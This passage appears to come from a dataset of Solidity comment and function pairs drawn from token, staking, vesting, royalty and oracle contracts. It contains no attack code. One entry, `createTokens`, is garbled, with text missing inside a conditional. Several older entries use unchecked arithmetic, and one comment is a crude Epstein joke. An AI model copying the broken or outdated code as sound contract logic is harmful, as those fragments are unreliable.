tokens needs to be sent here before calling this\n *\n * @return cTokenLike Tokens minted\n */", "function_code": "function mint()\n external onlyIdle\n returns (uint256 crTokens) {\n uint256 balance = IERC20(underlying).balanceOf(address(this));\n if (balance != 0) {\n IERC20 _token = IERC20(token);\n require(CERC20(token).mint(balance) == 0, \"Error minting crTokens\");\n crTokens = _token.balanceOf(address(this));\n _token.safeTransfer(msg.sender, crTokens);\n }\n }", "version": "0.5.16"} {"comment": "// given the rates of 3 stablecoins compared with a common denominator\n// return the lowest divided by the highest", "function_code": "function _getSafeUsdRate() internal returns (uint256) {\n // use a stored rate if we've looked it up recently\n if (usdRateTimestamp > block.timestamp - ORACLE_PERIOD && usdRate != 0) return usdRate;\n // otherwise, calculate a rate and store it.\n uint256 lowest;\n uint256 highest;\n for (uint256 i = 0; i < N; i++) {\n // get the rate for $1\n (uint256 rate, bool isValid) = _consultOracle(COIN_ADDRS[i], WETH, 10**DECIMALS[i]);\n if (isValid) {\n if (lowest == 0 || rate < lowest) {\n lowest = rate;\n }\n if (highest < rate) {\n highest = rate;\n }\n }\n }\n // We only need to check one of them because if a single valid rate is returned,\n // highest == lowest and highest > 0 && lowest > 0\n require(lowest != 0, \"no-oracle-rates\");\n usdRateTimestamp = block.timestamp;\n usdRate = (lowest * 1e18) / highest;\n return usdRate;\n }", "version": "0.8.3"} {"comment": "/**\n * @notice Withdraw collateral to payback excess debt in pool.\n * @param _excessDebt Excess debt of strategy in collateral token\n * @param _extra additional amount to unstake and withdraw, in collateral token\n * @return _payback amount in collateral token. Usually it is equal to excess debt.\n */", "function_code": "function _liquidate(uint256 _excessDebt, uint256 _extra) internal returns (uint256 _payback) {\n _payback = _unstakeAndWithdrawAsCollateral(_excessDebt + _extra);\n // we dont want to return a value greater than we need to\n if (_payback > _excessDebt) _payback = _excessDebt;\n }", "version": "0.8.3"} {"comment": "/**\r\n * @dev Set the upgrade agent (once only) thus enabling the upgrade.\r\n * @param _upgradeAgent Upgrade agent contract address\r\n * @param _revision Unique ID that agent contract must return on \".revision()\"\r\n */", "function_code": "function setUpgradeAgent(address _upgradeAgent, uint32 _revision)\r\n onlyUpgradeMaster whenUpgradeDisabled external\r\n {\r\n require((_upgradeAgent != address(0)) && (_revision != 0));\r\n\r\n InterfaceUpgradeAgent agent = InterfaceUpgradeAgent(_upgradeAgent);\r\n\r\n require(agent.revision() == _revision);\r\n require(agent.originalSupply() == totalSupply);\r\n\r\n upgradeAgent = _upgradeAgent;\r\n UpgradeEnabled(_upgradeAgent);\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * @dev Upgrade tokens to the new revision.\r\n * @param value How many tokens to be upgraded\r\n */", "function_code": "function upgrade(uint256 value) whenUpgradeEnabled external {\r\n require(value > 0);\r\n\r\n uint256 balance = balances[msg.sender];\r\n require(balance > 0);\r\n\r\n // Take tokens out from the old contract\r\n balances[msg.sender] = balance.sub(value);\r\n totalSupply = totalSupply.sub(value);\r\n totalUpgraded = totalUpgraded.add(value);\r\n // Issue the new revision tokens\r\n InterfaceUpgradeAgent agent = InterfaceUpgradeAgent(upgradeAgent);\r\n agent.upgradeFrom(msg.sender, value);\r\n\r\n Upgrade(msg.sender, value);\r\n }", "version": "0.4.15"} {"comment": "/*\r\n * @dev Allow the specified drawer to withdraw the specified value from the contract balance.\r\n * @param drawer The address of the drawer.\r\n * @param weiAmount The value in Wei allowed to withdraw.\r\n * @return success\r\n */", "function_code": "function setWithdrawal(address drawer, uint256 weiAmount) internal returns (bool success) {\r\n if ((drawer != address(0)) && (weiAmount > 0)) {\r\n uint256 oldBalance = pendingWithdrawals[drawer];\r\n uint256 newBalance = oldBalance + weiAmount;\r\n if (newBalance > oldBalance) {\r\n pendingWithdrawals[drawer] = newBalance;\r\n Withdrawal(drawer, weiAmount);\r\n return true;\r\n }\r\n }\r\n return false;\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * @dev Set the address of the holder of bounty tokens.\r\n * @param _bounty The address of the bounty token holder.\r\n * @return success/failure\r\n */", "function_code": "function setBounty(address _bounty, uint256 bountyTokens) onlyOwner external returns (bool success) {\r\n require(_bounty != address(0));\r\n bounty = _bounty;\r\n \r\n uint256 bounties = bountyTokens * 10**18;\r\n \r\n balances[bounty] = balances[bounty].add(bounties);\r\n totalSupply = totalSupply.add(bounties);\r\n \r\n NewTokens(bounties);\r\n return true;\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * @dev Mint tokens and add them to the balance of the message.sender.\r\n * Additional tokens are minted and added to the owner and the bounty balances.\r\n * @return success/failure\r\n */", "function_code": "function create() payable whenNotClosed whenNotPaused public returns (bool success) {\r\n require(msg.value > 0);\r\n require(now >= preIcoOpeningTime);\r\n\r\n uint256 weiToParticipate = msg.value;\r\n\r\n adjustPhaseBasedOnTime();\r\n\r\n if (phase != Phases.AfterIco || weiToParticipate < (0.01 * 10**18)) {\r\n\r\n Rates memory rates = getRates();\r\n uint256 newTokens = weiToParticipate.mul(rates.total);\r\n uint256 requestedSupply = totalSupply.add(newTokens);\r\n\r\n // \"emission\" of new tokens\r\n totalSupply = requestedSupply;\r\n balances[msg.sender] \t= balances[msg.sender].add(weiToParticipate.mul(rates.toSender));\r\n balances[owner] \t\t= balances[owner].add(weiToParticipate.mul(rates.toOwner));\r\n balances[bounty] \t\t= balances[bounty].add(weiToParticipate.mul(rates.toBounty));\r\n\r\n // ETH transfers\r\n totalProceeds = totalProceeds.add(weiToParticipate);\r\n \r\n // Logging\r\n NewTokens(newTokens);\r\n NewFunds(msg.sender, weiToParticipate);\r\n\r\n } else {\r\n setWithdrawal(owner, weiToParticipate);\r\n }\r\n return true;\r\n }", "version": "0.4.15"} {"comment": "/* TRANSFER FROM THE LOLITA EXPRESS: https://filmdaily.co/obsessions/lolita-express-epstein-revealed */", "function_code": "function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {\r\n if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {\r\n balances[_to] += _value;\r\n balances[_from] -= _value;\r\n allowed[_from][msg.sender] -= _value;\r\n Transfer(_from, _to, _value);\r\n return true;\r\n } else { return false; }\r\n }", "version": "0.4.16"} {"comment": "/// Withdraw ethereum from the sender's ethBalance.", "function_code": "function withdraw() returns (bool) {\r\n var amount = ethBalance[msg.sender];\r\n if (amount > 0) {\r\n // It is important to set this to zero because the recipient\r\n // can call this function again as part of the receiving call\r\n // before `send` returns.\r\n ethBalance[msg.sender] = 0;\r\n WithdrawEvent(\"Reset Sender\");\r\n msg.sender.transfer(amount);\r\n }\r\n return true;\r\n }", "version": "0.4.11"} {"comment": "/// Transfer a section and an IPO token to the supplied address.", "function_code": "function transfer(\r\n address _to,\r\n uint _section_index\r\n ) {\r\n if (_section_index > 9999) throw;\r\n if (sections[_section_index].owner != msg.sender) throw;\r\n if (balanceOf[_to] + 1 < balanceOf[_to]) throw;\r\n sections[_section_index].owner = _to;\r\n sections[_section_index].for_sale = false;\r\n balanceOf[msg.sender] -= 1;\r\n balanceOf[_to] += 1;\r\n }", "version": "0.4.11"} {"comment": "/**\r\n * @dev Multiplies two numbers, throws on overflow.\r\n * @param a First number\r\n * @param b Second number\r\n */", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n if (a == 0) {\r\n return 0;\r\n }\r\n uint256 c = a * b;\r\n assert(c / a == b);\r\n return c;\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev Integer division of two numbers, truncating the quotient.\r\n * @param a First number\r\n * @param b Second number\r\n */", "function_code": "function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n // assert(b > 0); // Solidity automatically throws when dividing by 0\r\n uint256 c = a / b;\r\n // assert(a == b * c + a % b); // There is no case in which this doesn't hold\r\n return c;\r\n }", "version": "0.4.23"} {"comment": "// If we do not find the loan, this returns a struct with 0'd values.", "function_code": "function getLoan(address account, uint256 loanID) external view returns (Loan memory) {\n Loan[] memory accountLoans = loans[account];\n for (uint i = 0; i < accountLoans.length; i++) {\n if (accountLoans[i].id == loanID) {\n return (accountLoans[i]);\n }\n }\n }", "version": "0.5.16"} {"comment": "//Dev mint special tokens", "function_code": "function mintSpecial(uint256[] memory specialIds) external onlyOwner {\n require(!devMintLocked, \"Dev Mint Permanently Locked\");\n uint256 num = specialIds.length;\n for (uint256 i = 0; i < num; i++) {\n uint256 specialId = specialIds[i];\n _safeMint(msg.sender, specialId);\n }\n }", "version": "0.8.7"} {"comment": "// Reutn address to which we send the mint token and token assigned.\n// Constructor", "function_code": "function GLXToken(){\r\n emergencyFlag = false; // False at initialization will be false during ICO\r\n fundingStartBlock = block.number; // Current deploying block number is the starting block number for ICO\r\n fundingEndBlock=safeAdd(fundingStartBlock,finalBlockNumber); // Ending time depending upon the block number\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev creates new GLX tokens\r\n * It is a internal function it will be called by fallback function or buyToken functions.\r\n */", "function_code": "function createTokens() internal {\r\n if (emergencyFlag) revert(); // Revert when the sale is over before time and emergencyFlag is true.\r\n if (block.number > fundingEndBlock) revert(); // If the blocknumber exceed the ending block it will revert\r\n if (msg.valuetokenCreationCap)revert(); // Check the total supply if it is more then hardcap it will throw\r\n balances[msg.sender] += tokens; // Adding token to sender account\r\n CreateGLX(msg.sender, tokens); // Logs sender address and token creation\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev it will assign token to a particular address by owner only\r\n * @param _to the address whom you want to send token to\r\n * @param _amount the amount you want to send\r\n * @return It will return true if success.\r\n */", "function_code": "function mint(address _to, uint256 _amount) external onlyOwner returns (bool) {\r\n if (emergencyFlag) revert();\r\n totalSupply = safeAdd(totalSupply,_amount);// Add the minted token to total suppy\r\n if(totalSupply>tokenCreationCap)revert();\r\n balances[_to] +=_amount; // Adding token to the input address\r\n Mint(_to, _amount); // Log the mint with address and token given to particular address\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev it will change the ending date of ico and access by owner only\r\n * @param _newBlock enter the future blocknumber\r\n * @return It will return the blocknumber\r\n */", "function_code": "function changeEndBlock(uint256 _newBlock) external onlyOwner returns (uint256 _endblock )\r\n { // we are expecting that owner will input number greater than current block.\r\n require(_newBlock > fundingStartBlock);\r\n fundingEndBlock = _newBlock; // New block is assigned to extend the Crowd Sale time\r\n return fundingEndBlock;\r\n }", "version": "0.4.18"} {"comment": "// Stake ID uniquely identifies a stake\n// (note, `stakeNum` uniquely identifies a stake, rest is for UI sake)", "function_code": "function encodeStakeId(\r\n address token, // token contract address\r\n uint256 stakeNum, // uniq nonce (limited to 48 bits)\r\n uint256 unlockTime, // UNIX time (limited to 32 bits)\r\n uint256 stakeHours // Stake duration (limited to 16 bits)\r\n ) public pure returns (uint256) {\r\n require(stakeNum < 2**48, \"QDeck:stakeNum_EXCEEDS_48_BITS\");\r\n require(unlockTime < 2**32, \"QDeck:unlockTime_EXCEEDS_32_BITS\");\r\n require(stakeHours < 2**16, \"QDeck:stakeHours_EXCEEDS_16_BITS\");\r\n return _encodeStakeId(token, stakeNum, unlockTime, stakeHours);\r\n }", "version": "0.6.12"} {"comment": "// Returns `true` if the term sheet has NOT been yet added.", "function_code": "function _isMissingTerms(TermSheet memory newSheet)\r\n internal\r\n view\r\n returns (bool)\r\n {\r\n for (uint256 i = 0; i < termSheets.length; i++) {\r\n TermSheet memory sheet = termSheets[i];\r\n if (\r\n sheet.token == newSheet.token &&\r\n sheet.minAmount == newSheet.minAmount &&\r\n sheet.maxAmountFactor == newSheet.maxAmountFactor &&\r\n sheet.lockHours == newSheet.lockHours &&\r\n sheet.rewardLockHours == newSheet.rewardLockHours &&\r\n sheet.rewardFactor == newSheet.rewardFactor\r\n ) {\r\n return false;\r\n }\r\n }\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "// Assuming the given array does contain the given element", "function_code": "function _removeArrayElement(uint256[] storage arr, uint256 el) internal {\r\n uint256 lastIndex = arr.length - 1;\r\n if (lastIndex != 0) {\r\n uint256 replaced = arr[lastIndex];\r\n if (replaced != el) {\r\n // Shift elements until the one being removed is replaced\r\n do {\r\n uint256 replacing = replaced;\r\n replaced = arr[lastIndex - 1];\r\n lastIndex--;\r\n arr[lastIndex] = replacing;\r\n } while (replaced != el && lastIndex != 0);\r\n }\r\n }\r\n // Remove the last (and quite probably the only) element\r\n arr.pop();\r\n }", "version": "0.6.12"} {"comment": "/// @dev Creates a new Artwork and mint an edition", "function_code": "function createArtworkAndMintEdition(\n uint256 _artworkNumber,\n uint8 _scarcity,\n string memory _tokenUri,\n uint16 _totalLeft,\n bool _active,\n address _to\n ) external whenNotPaused onlyMinter returns (uint256) {\n _createArtwork(\n _artworkNumber,\n _scarcity,\n _tokenUri,\n _totalLeft,\n _active\n );\n\n // Create the token\n return\n _mintEdition(\n _to,\n _artworkNumber,\n artworkNumberToArtworkDetails[_artworkNumber].tokenUri\n );\n }", "version": "0.8.7"} {"comment": "/// @dev Get artwork details from artworkNumber", "function_code": "function getArtwork(uint256 artworkNumber)\n external\n view\n returns (\n uint8 scarcity,\n uint16 totalMinted,\n uint16 totalLeft,\n string memory tokenUri,\n bool active\n )\n {\n ArtworkDetails storage a = artworkNumberToArtworkDetails[artworkNumber];\n scarcity = a.scarcity;\n totalMinted = a.totalMinted;\n totalLeft = a.totalLeft;\n tokenUri = a.tokenUri;\n active = a.active;\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Internal factory method to generate an new tokenId based\n * @dev based on artwork number\n */", "function_code": "function _getNextTokenId(uint256 _artworkNumber)\n internal\n view\n returns (uint256)\n {\n ArtworkDetails storage _artworkDetails = artworkNumberToArtworkDetails[\n _artworkNumber\n ];\n\n // Build next token ID e.g. 100000 + (1 - 1) = ID of 100001 (this first in the edition set)\n return _artworkDetails.artworkNumber.add(_artworkDetails.totalMinted);\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Internal factory method to mint a new edition\n * @dev for an artwork\n */", "function_code": "function _mintEdition(\n address _to,\n uint256 _artworkNumber,\n string memory _tokenUri\n ) internal returns (uint256) {\n // Construct next token ID e.g. 100000 + 1 = ID of 100001 (this first in the edition set)\n uint256 _tokenId = _getNextTokenId(_artworkNumber);\n\n // Mint new base token\n super._mint(_to, _tokenId);\n super._setTokenURI(_tokenId, _tokenUri);\n\n // Maintain mapping for tokenId to artwork for lookup\n tokenIdToArtworkNumber[_tokenId] = _artworkNumber;\n\n // Maintain mapping of edition to token array for \"edition minted tokens\"\n artworkNumberToTokenIds[_artworkNumber].push(_tokenId);\n\n ArtworkDetails storage _artworkDetails = artworkNumberToArtworkDetails[\n _artworkNumber\n ];\n // Increase number totalMinted\n _artworkDetails.totalMinted += 1;\n // Decrease number totalLeft\n _artworkDetails.totalLeft -= 1;\n\n // Emit minted event\n emit ArtworkEditionMinted(_tokenId, _artworkNumber, _to);\n return _tokenId;\n }", "version": "0.8.7"} {"comment": "/// @dev Migrates tokens to a potential new version of this contract\n/// @param tokenIds - list of tokens to transfer", "function_code": "function migrateTokens(uint256[] calldata tokenIds) external {\n require(\n address(newContract) != address(0),\n \"LaCollection: New contract not set\"\n );\n\n for (uint256 index = 0; index < tokenIds.length; index++) {\n transferFrom(_msgSender(), address(this), tokenIds[index]);\n }\n\n newContract.migrateTokens(tokenIds, _msgSender());\n }", "version": "0.8.7"} {"comment": "//Yes this is ugly but it saves gas through binary search & probability theory, a total of 5-10 ETH for our dear hodlers will be saved because of this ugliness", "function_code": "function multiMint(uint amount, address to) private {\r\n require(amount > 0, \"Invalid amount\");\r\n require(_checkOnERC721Received(address(0), to, _mint(to), ''), \"ERC721: transfer to non ERC721Receiver implementer\"); //Safe mint 1st and regular mint rest to save gas! \r\n if (amount < 4) {\r\n if (amount == 2) {\r\n _mint(to);\r\n } else if (amount == 3) {\r\n _mint(to);\r\n _mint(to);\r\n }\r\n } else {\r\n if (amount > 5) {\r\n if (amount == 6) {\r\n _mint(to);\r\n _mint(to);\r\n _mint(to);\r\n _mint(to);\r\n _mint(to);\r\n } else { // 7\r\n _mint(to);\r\n _mint(to);\r\n _mint(to);\r\n _mint(to);\r\n _mint(to);\r\n _mint(to);\r\n }\r\n } else {\r\n if (amount == 4) {\r\n _mint(to);\r\n _mint(to);\r\n _mint(to);\r\n } else { // 5\r\n _mint(to);\r\n _mint(to);\r\n _mint(to);\r\n _mint(to);\r\n }\r\n }\r\n }\r\n\r\n }", "version": "0.8.11"} {"comment": "/*\r\n * @dev Get GMI to user\r\n */", "function_code": "function getUnLockedGMI() public \r\n\tisActivated() \r\n\tisExhausted()\r\n\t\tpayable {\r\n\r\n \t\tuint256 currentTakeGMI = 0;\r\n \t\tuint256 unlockedCount = 0;\r\n\t\tuint256 unlockedGMI = 0;\r\n\t\tuint256 userLockedGMI = 0;\r\n\t\tuint256 userTakeTime = 0;\r\n (currentTakeGMI, unlockedCount, unlockedGMI, userLockedGMI, userTakeTime) = calculateUnLockerGMI(msg.sender);\r\n\t\ttakenAmount[msg.sender] = safeAdd(takenAmount[msg.sender], currentTakeGMI);\r\n\t\ttakenTime[msg.sender] = now;\r\n\t\tgmiToken.transfer(msg.sender, currentTakeGMI);\r\n }", "version": "0.4.26"} {"comment": "/*\r\n * @dev calculate user unlocked GMI amount\r\n */", "function_code": "function calculateUnLockerGMI(address userAddr) private isActivated() \r\n view returns(uint256, uint256, uint256, uint256, uint256) {\r\n uint256 unlockedCount = 0;\r\n\t\tuint256 currentTakeGMI = 0;\r\n\t\tuint256 userTakenTime = takenTime[userAddr];\r\n\t\tuint256 userLockedGMI = lockList[userAddr];\r\n\r\n\t unlockedCount = safeDiv(safeSub(now, activatedTime), timeInterval);\r\n\t\t\r\n\t\tif(unlockedCount == 0) {\r\n\t\t return (0, unlockedCount, unlockedGMI, userLockedGMI, userTakenTime);\r\n\t\t}\r\n\t\t\r\n\t\tif(unlockedCount > unLockedAmount) {\r\n\t\t unlockedCount = unLockedAmount;\r\n\t\t}\r\n\r\n\t\tuint256 unlockedGMI = safeDiv(safeMul(userLockedGMI, unlockedCount), unLockedAmount);\r\n\t\tcurrentTakeGMI = safeSub(unlockedGMI, takenAmount[userAddr]);\r\n\t\tif(unlockedCount == unLockedAmount) {\r\n\t\t currentTakeGMI = safeSub(userLockedGMI, takenAmount[userAddr]);\r\n\t\t}\r\n\t return (currentTakeGMI, unlockedCount, unlockedGMI, userLockedGMI, userTakenTime);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Limit burn functions to owner and reduce cap after burning\r\n */", "function_code": "function _burn(address _who, uint256 _value) internal onlyOwner {\r\n // no need to check _value <= cap since totalSupply <= cap and \r\n // _value <= totalSupply was checked in burn functions\r\n super._burn(_who, _value);\r\n cap = cap.sub(_value);\r\n }", "version": "0.4.24"} {"comment": "/**\n * Creates new tokens. Can only be called by one of the three owners. Includes\n * signatures from each of the 3 owners.\n * The signed messages is a bytes32(equivalent to uint256), which includes the\n * nonce and the amount intended to be minted. The network ID is not included,\n * which means owner keys cannot be shared across networks because of the\n * possibility of replay. The lower 128 bits of the signedMessage contain\n * the amount to be minted, and the upper 128 bits contain the nonce.\n */", "function_code": "function mint(bytes32 signedMessage, uint8 sigV1, bytes32 sigR1, bytes32 sigS1, uint8 sigV2, bytes32 sigR2, bytes32 sigS2, uint8 sigV3, bytes32 sigR3, bytes32 sigS3) external {\n require(isOwner(), \"Must be owner\");\n require(ecrecover(keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", signedMessage)), sigV1, sigR1, sigS1) == owner1, \"Not approved by owner1\");\n require(ecrecover(keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", signedMessage)), sigV2, sigR2, sigS2) == owner2, \"Not approved by owner2\");\n require(ecrecover(keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", signedMessage)), sigV3, sigR3, sigS3) == owner3, \"Not approved by owner3\");\n // cast message to a uint256\n uint256 signedMessageUint256 = uint256(signedMessage);\n // bitwise-and the lower 128 bits of message to get the amount\n uint256 amount = signedMessageUint256 & (2**128-1);\n // right-shift the message by 128 bits to get the nonce in the correct position\n signedMessageUint256 = signedMessageUint256 / (2**128);\n // bitwise-and the message by 128 bits to get the nonce\n uint32 nonce = uint32(signedMessageUint256 & (2**128-1));\n require(nonce == mintingNonce, \"nonce must match\");\n mintingNonce += 1;\n _mint(owner1, amount);\n emit Minted(owner1, amount);\n }", "version": "0.7.6"} {"comment": "/**\n * @dev See {IRoyaltyEngineV1-getRoyalty}\n */", "function_code": "function getRoyalty(address tokenAddress, uint256 tokenId, uint256 value) public override returns(address payable[] memory recipients, uint256[] memory amounts) {\n int16 spec;\n address royaltyAddress;\n bool addToCache;\n\n (recipients, amounts, spec, royaltyAddress, addToCache) = _getRoyaltyAndSpec(tokenAddress, tokenId, value);\n if (addToCache) _specCache[royaltyAddress] = spec;\n return (recipients, amounts);\n }", "version": "0.8.7"} {"comment": "/**\n * @dev See {IRoyaltyEngineV1-getRoyaltyView}.\n */", "function_code": "function getRoyaltyView(address tokenAddress, uint256 tokenId, uint256 value) public view override returns(address payable[] memory recipients, uint256[] memory amounts) {\n (recipients, amounts, , , ) = _getRoyaltyAndSpec(tokenAddress, tokenId, value);\n return (recipients, amounts);\n }", "version": "0.8.7"} {"comment": "/**\n * Compute royalty amounts\n */", "function_code": "function _computeAmounts(uint256 value, uint256[] memory bps) private pure returns(uint256[] memory amounts) {\n amounts = new uint256[](bps.length);\n uint256 totalAmount;\n for (uint i = 0; i < bps.length; i++) {\n amounts[i] = value*bps[i]/10000;\n totalAmount += amounts[i];\n }\n require(totalAmount < value, \"Invalid royalty amount\");\n return amounts;\n }", "version": "0.8.7"} {"comment": "/// @notice Fetches a time-weighted observation for a given Uniswap V3 pool\n/// @param pool Address of the pool that we want to observe\n/// @param period Number of seconds in the past to start calculating the time-weighted observation\n/// @return observation An observation that has been time-weighted from (block.timestamp - period) to block.timestamp", "function_code": "function consult(address pool, uint32 period) internal view returns (PeriodObservation memory observation) {\n require(period != 0, 'BP');\n\n uint192 periodX160 = uint192(period) * type(uint160).max;\n\n uint32[] memory secondsAgos = new uint32[](2);\n secondsAgos[0] = period;\n secondsAgos[1] = 0;\n\n (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s) = IUniswapV3Pool(pool).observe(secondsAgos);\n int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0];\n uint160 secondsPerLiquidityCumulativesDelta = secondsPerLiquidityCumulativeX128s[1] - secondsPerLiquidityCumulativeX128s[0];\n\n observation.arithmeticMeanTick = int24(tickCumulativesDelta / period);\n // Always round to negative infinity\n if (tickCumulativesDelta < 0 && (tickCumulativesDelta % period != 0)) observation.arithmeticMeanTick--;\n\n // We are shifting the liquidity delta to ensure that the result doesn't overflow uint128\n observation.harmonicMeanLiquidity = uint128(periodX160 / (uint192(secondsPerLiquidityCumulativesDelta) << 32));\n }", "version": "0.7.6"} {"comment": "/// @notice Given some time-weighted observations, calculates the arithmetic mean tick, weighted by liquidity\n/// @param observations A list of time-weighted observations\n/// @return arithmeticMeanWeightedTick The arithmetic mean tick, weighted by the observations' time-weighted harmonic average liquidity", "function_code": "function getArithmeticMeanTickWeightedByLiquidity(PeriodObservation[] memory observations)\n internal\n pure\n returns (int24 arithmeticMeanWeightedTick)\n {\n // Accumulates the sum of all observations' products between each their own average tick and harmonic average liquidity\n // Each product can be stored in a int160, so it would take approximatelly 2**96 observations to overflow this accumulator\n int256 numerator;\n\n // Accumulates the sum of the harmonic average liquidities from the given observations\n // Each average liquidity can be stored in a uint128, so it will take approximatelly 2**128 observations to overflow this accumulator\n uint256 denominator;\n\n for (uint256 i; i < observations.length; i++) {\n numerator += int256(observations[i].harmonicMeanLiquidity) * observations[i].arithmeticMeanTick;\n denominator += observations[i].harmonicMeanLiquidity;\n }\n\n arithmeticMeanWeightedTick = int24(numerator / int256(denominator));\n\n // Always round to negative infinity\n if (numerator < 0 && (numerator % int256(denominator) != 0)) arithmeticMeanWeightedTick--;\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Function to check the amount of tokens that an owner allowed to a spender.\r\n * @param _totalSupply total supply of the token.\r\n * @param _name token name e.g Dijets.\r\n * @param _symbol token symbol e.g DJT.\r\n * @param _decimals amount of decimals.\r\n */", "function_code": "function DijetsToken(uint256 _totalSupply, string _name, string _symbol, uint8 _decimals) {\r\n balances[msg.sender] = _totalSupply; // Give the creator all initial tokens\r\n totalSupply = _totalSupply;\r\n name = _name;\r\n symbol = _symbol;\r\n decimals = _decimals;\r\n }", "version": "0.4.16"} {"comment": "/**\r\n * @dev Locking {_amounts} with {_unlockAt} date for specific {_account}.\r\n */", "function_code": "function lock(address _account, uint256[] memory _unlockAt, uint256[] memory _amounts)\r\n external\r\n onlyOwner\r\n returns (uint256 totalAmount)\r\n {\r\n require(_account != address(0), \"Zero address\");\r\n require(\r\n _unlockAt.length == _amounts.length &&\r\n _unlockAt.length <= MAX_LOCK_LENGTH,\r\n \"Wrong array length\"\r\n );\r\n require(_unlockAt.length != 0, \"Zero array length\");\r\n\r\n for (uint i = 0; i < _unlockAt.length; i++) {\r\n if (i == 0) {\r\n require(_unlockAt[0] >= startAt, \"Early unlock\");\r\n }\r\n\r\n if (i > 0) {\r\n if (_unlockAt[i-1] >= _unlockAt[i]) {\r\n require(false, \"Timeline violation\");\r\n }\r\n }\r\n\r\n totalAmount += _amounts[i];\r\n }\r\n\r\n token.safeTransferFrom(msg.sender, address(this), totalAmount);\r\n\r\n _balances[_account].locks.push(Lock({\r\n amounts: _amounts,\r\n unlockAt: _unlockAt,\r\n released: 0\r\n }));\r\n\r\n emit TokensVested(_account, totalAmount);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Returns next unlock timestamp by all locks, if return zero,\r\n * no time points available.\r\n */", "function_code": "function getNextUnlock(address _participant) external view returns (uint256 timestamp) {\r\n uint256 locksLen = _balances[_participant].locks.length;\r\n uint currentUnlock;\r\n uint i;\r\n for (i; i < locksLen; i++) {\r\n currentUnlock = _getNextUnlock(_participant, i);\r\n if (currentUnlock != 0) {\r\n if (timestamp == 0) {\r\n timestamp = currentUnlock;\r\n } else {\r\n if (currentUnlock < timestamp) {\r\n timestamp = currentUnlock;\r\n }\r\n }\r\n }\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Grants tokens to an account.\n *\n * @param beneficiary = Address to which tokens will be granted.\n * @param vestingAmount = The number of tokens subject to vesting.\n * @param startDay = Start day of the grant's vesting schedule, in days since the UNIX epoch\n * (start of day). The startDay may be given as a date in the future or in the past, going as far\n * back as year 2000.\n * @param vestingLocation = Account where the vesting schedule is held (must already exist).\n */", "function_code": "function _addGrant(\n address beneficiary,\n uint256 vestingAmount,\n uint32 startDay,\n address vestingLocation\n ) internal {\n // Make sure no prior grant is in effect.\n require(!_tokenGrants[beneficiary].isActive, \"grant already exists\");\n\n // Check for valid vestingAmount\n require(\n vestingAmount > 0 &&\n startDay >= _JAN_1_2000_DAYS &&\n startDay < _JAN_1_3000_DAYS,\n \"invalid vesting params\"\n );\n\n // Create and populate a token grant, referencing vesting schedule.\n _tokenGrants[beneficiary] = tokenGrant(\n true, // isActive\n false, // wasRevoked\n startDay,\n vestingAmount,\n vestingLocation, // The wallet address where the vesting schedule is kept.\n 0 // claimedAmount\n );\n _allBeneficiaries.push(beneficiary);\n\n // Emit the event.\n emit VestingTokensGranted(\n beneficiary,\n vestingAmount,\n startDay,\n vestingLocation\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @dev returns all information about the grant's vesting as of the given day\n * for the given account. Only callable by the account holder or a contract owner.\n *\n * @param grantHolder = The address to do this for.\n * @param onDayOrToday = The day to check for, in days since the UNIX epoch. Can pass\n * the special value 0 to indicate today.\n * return = A tuple with the following values:\n * amountVested = the amount that is already vested\n * amountNotVested = the amount that is not yet vested (equal to vestingAmount - vestedAmount)\n * amountOfGrant = the total amount of tokens subject to vesting.\n * amountAvailable = the amount of funds in the given account which are available for use as of the given day\n * amountClaimed = out of amountVested, the amount that has been already transferred to beneficiary\n * vestStartDay = starting day of the grant (in days since the UNIX epoch).\n * isActive = true if the vesting schedule is currently active.\n * wasRevoked = true if the vesting schedule was revoked.\n */", "function_code": "function getGrantInfo(address grantHolder, uint32 onDayOrToday)\n external\n view\n override\n onlyOwnerOrSelf(grantHolder)\n returns (\n uint256 amountVested,\n uint256 amountNotVested,\n uint256 amountOfGrant,\n uint256 amountAvailable,\n uint256 amountClaimed,\n uint32 vestStartDay,\n bool isActive,\n bool wasRevoked\n )\n {\n tokenGrant storage grant = _tokenGrants[grantHolder];\n uint256 notVestedAmount = _getNotVestedAmount(grantHolder, onDayOrToday);\n\n return (\n grant.amount.sub(notVestedAmount),\n notVestedAmount,\n grant.amount,\n _getAvailableAmountImpl(grant, notVestedAmount),\n grant.claimedAmount,\n grant.startDay,\n grant.isActive,\n grant.wasRevoked\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @dev If the account has a revocable grant, this forces the grant to end immediately.\n * After this function is called, getGrantInfo will return incomplete data\n * and there will be no possibility to claim non-claimed tokens\n *\n * @param grantHolder = Address to which tokens will be granted.\n */", "function_code": "function revokeGrant(address grantHolder) external override onlyOwner {\n tokenGrant storage grant = _tokenGrants[grantHolder];\n vestingSchedule storage vesting = _vestingSchedules[grant.vestingLocation];\n\n // Make sure a vesting schedule has previously been set.\n require(grant.isActive, \"no active grant\");\n // Make sure it's revocable.\n require(vesting.isRevocable, \"irrevocable\");\n\n // Kill the grant by updating wasRevoked and isActive.\n _tokenGrants[grantHolder].wasRevoked = true;\n _tokenGrants[grantHolder].isActive = false;\n\n // Emits the GrantRevoked event.\n emit GrantRevoked(grantHolder);\n 